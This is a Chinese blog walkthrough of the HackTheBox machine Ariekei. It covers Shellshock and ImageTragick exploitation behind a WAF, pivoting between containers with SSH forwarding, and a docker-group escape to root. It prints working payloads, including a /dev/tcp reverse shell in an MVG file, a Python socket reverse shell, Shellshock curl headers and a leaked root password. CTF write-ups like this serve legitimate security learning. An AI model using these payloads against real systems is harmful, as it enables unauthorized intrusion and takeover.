No.121-HackTheBox-Linux-Ariekei-Walkthrough渗透学习

**

HackTheBox-Linux-Ariekei-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/115
靶机难度:高级(5.0/10)
靶机发布日期:2018年3月8日
靶机描述:
Ariekei is a complex machine focusing mainly on web application firewalls and pivoting techniques. This machine is by far one of the most challenging, requiring multiple escalations and container breakouts.

作者:大余
时间:2020-06-04

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.65…
在这里插入图片描述
Nmap发现了一个nginx服务器和两个运行不同版本的OpenSSH服务器,这表明系统上可能正在运行某种容器或虚拟环境…可能是服务于不同的网站…

在这里插入图片描述
正常页面访问提示正在维护…
在这里插入图片描述
在凭证发现了两个DNS域名…添加到hosts…
在这里插入图片描述
利用dirbuster爆破目录刚开始就报出了/cgi-bin/stats存在shellshock漏洞利用…
在这里插入图片描述
先访问该目录,这是一个shell脚本…提供了很多有用信息…
docroot设置用户的主目录: DOCUMENT_ROOT=/home/spanishdancer/content
后端服务器版本为:SERVER_SOFTWARE=Apache/2.2.22 (Debian)与我们在标头中实际获得的版本不同,应该使用了某种类型的反向代理或WAF等情况…
服务器的内部IP地址为:172.24.0.2…
在这里插入图片描述
命令:curl -k -H "User-Agent: () { :; }; /bin/eject" https://10.10.10.65/cgi-bin/stats
通过提示,直接利用shellshock漏洞攻击,发现一个表情符号,该表情符号将在我们尝试利用它时持续存在,应该是有一个Web应用程序防火墙在保护服务器免受攻击…(WAF)

在这里插入图片描述
访问两个域名,一个是Not Found报错,一个重定向回到了原始web页面…
挂着利用dirb和gobuster爆破目录发现都存在upload目录信息…下载upload一般文件上传利用了…GO
在这里插入图片描述
标题表明这是图像转换器,随意上传文件后没任何反应…
这里经过google查询,图像转换器可能容易受到Imagetragick的攻击,Imagetragick是ImageMagick库中较著名的利用方法之一…
在这里插入图片描述
可看到随意搜索Imagetragick攻击都能找到shell代码…利用即可
创建了mvg文件来利用此漏洞…
在这里插入图片描述

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|setsid /bin/bash -i >/dev/tcp/10.10.14.51/4444 0<&1 2>&1")'ms
pop graphic-context

通过简单一句话shell提权成功提权…root权限???
在这里插入图片描述
这里限制非常多,无法读取flag信息,先枚举吧…上传LinEnum
在这里插入图片描述
这里发现提权的这台是在Docker容器中,根据nmap扫描,应该是存在多台服务器情况…
下载的权限就在一个监狱当中,需要越狱突出重围的感觉…限制非常多,有WAF或者堡垒机等安全设备…
在这里插入图片描述
存在docker容器,mount -l查看挂载的文件,找到一个名为/common的目录…
在这里插入图片描述
在commin目录下存在很多子目录…里面存在很多很多提权开拓思路的信息…
这里发现了映射的信息…知道了服务器设备IP之间的映射关系
在这里插入图片描述
查看arp后,发现172.23.0.252,应该是WAF设备IP…
在这里插入图片描述
可以看到为容器设置了硬编码的root密码…
Container具有两个网络和两个IP 172.24.0.253和172.23.0.253,表明它是双宿主的…
主机上端口1022公开的SSH服务…NMAP也发现了…

在这里插入图片描述
继续找到.secrets的隐藏目录…找到名为bastion_key和bastion_key.pub文件…rsa密匙…ssh利用即可
在这里插入图片描述
直接利用ssh成功登陆…这里检查还是在docker容器中…
在这里插入图片描述
可以看到docker系统的IP地址…
在这里插入图片描述
前面文件上传提权查看到start.sh就知道了其中一些容器在实时网络和测试网络上都是双宿主的,目前所在的容器convert-live位于实时网络中,但bastion-live我们刚刚通过SSH登录的容器位于两者中…
这种网络布局的有趣之处在于,这waf-live是在端口443上向我们公开的设备,而它所做的就是在我们与blog-test容器之间路由流量,攻击stats脚本时看到的那些图像是通过生成waf-live枚举中的容器文件时看到的图像/common…
这是nginx.confin中的摘录waf-live,说明ModSecurity在充当WAF…ModSecurityEnabled on;ModSecurityConfig modsecurity.conf;
*
前面就知道在进行目录爆破扫描期间,找到了/cgi-bin/stats/目录容易受到shellshock的攻击,但是由于Web应用程序防火墙的原因无法利用它,由于waf-live在端口443和我们之间进行流量路由并在端口443上进行着,因此可以从服务器内部利用Shellshock漏洞…

二、提权

方法1:

利用EXP直接绕过WAF提权…
在这里插入图片描述
在这里插入图片描述
测试发现是存在可内部利用Shellshock漏洞…
为了避免受到保护,直接从此容器发起攻击即可,该容器可以通过另一个子网完全绕过waf…
在这里插入图片描述
命令:python 34900.py payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats
利用Shellshock漏洞可执行的34900_EXP进行提权…成功绕过进入了…获得了www-data权限…但这不是一个稳定的外壳…
目前信息收集中拥有Dockerfile中的密码root:Ib3!kTEvYw6*P7s,因此我们所要做的就是生成一个tty,直接就可以使用su进行root升级…
这里可以利用MSF的web_delivery生成tty,获得别的方式…自行尝试…
后续提权方法在方法2中演示…

方法2:

远程端口转发提权…
在这里插入图片描述
利用-L和-R进行端口转发…
在这里插入图片描述
可看到本地存在22端口…
这里只需利用ssh将8888在kali上启动,当从kali链接8888端口时,该链接就会转向堡垒机的22端口…
可看到成功端口转发8888端口到22…
然后进行ssh -p 8888 -i id_rsa 127.0.0.1成功本地登陆…
我们知道存在真实flag的服务器IP是172.24.0.2:80上…继续建桥
在这里插入图片描述
继续将9999端口转发到80,可看到本地已监听…
前面通过本地8888转发到堡垒22,现在将本地9999转发到真实服务80上…测试下

在这里插入图片描述
转发到了 https://10.10.10.65/cgi-bin/stats…
在这里插入图片描述
这里前面就知道不稳定外壳,我直接利用BP拦截注入了…
在这里插入图片描述
命令:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
利用稳定外壳…shell

在这里插入图片描述
可以看到,我是将端口都转发到kali本地,利用Shellshock漏洞进行提权…但是提权需要在堡垒上进行NC监听获得外壳…
这里会出现非常多的不方便,需要继续转发到本地kali上做外壳…
在这里插入图片描述
直接转发即可…转发到了6666端口上…
当本地执行提权后,所有的流量都走端口转发到了我本地的机子上…
成功在本地获得反向外壳www低权用户…
在这里插入图片描述
通过前面信息收集在Dockerfile获取的root密匙,用python启动pty shell,然后su到root…获得了user_flag信息…

在这里插入图片描述
继续搜索隐藏目录,在本目录下找到.ssh的目录,找到三个文件authorized_keys,id_rsa和id_rsa.pub…存在RSA密钥…
在这里插入图片描述
保存到本地,进行破解…获得了密码…(跳过了简单操作,讲很多次了)
在这里插入图片描述
有密匙凭证+密码,直接ssh登陆…直接获得了spanishdancer用户权限外壳…
这里就直接进入用户了,不会通过waf和堡垒机的限制了…
在这里插入图片描述
这里靶机用户是docker容器状态,又在upload时知道Upload Image图像转换器…
直接检查了Docker映像…发现bash映像可利用…
在这里插入图片描述
https://fosterelli.co/privilege-escalation-via-docker.html
这有一篇文章介绍了docker images内核提权…
在这里插入图片描述
命令:docker run -it -v /:/opt bash bash
直接bash提权即可…获得了root权限…获得了root_flag信息…

信息收集+dir目录爆破+shellshock漏洞利用+文件上传提权+信息枚举分析+rsa密匙爆破提权+端口转发利用或EXP利用绕过堡垒机和防火墙+docker images内核提权…

这台靶机学到了很多很多思路想法,这台靶机主要思路非常广泛,需要搭桥需要跨越不然拿不到flag…
方法除了EXP和docker images内核提权方法没用过,其余都是非常熟悉的方法,学习新思路,加油!!!

由于我们已经成功得到root权限查看user和root.txt,因此完成这台高级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值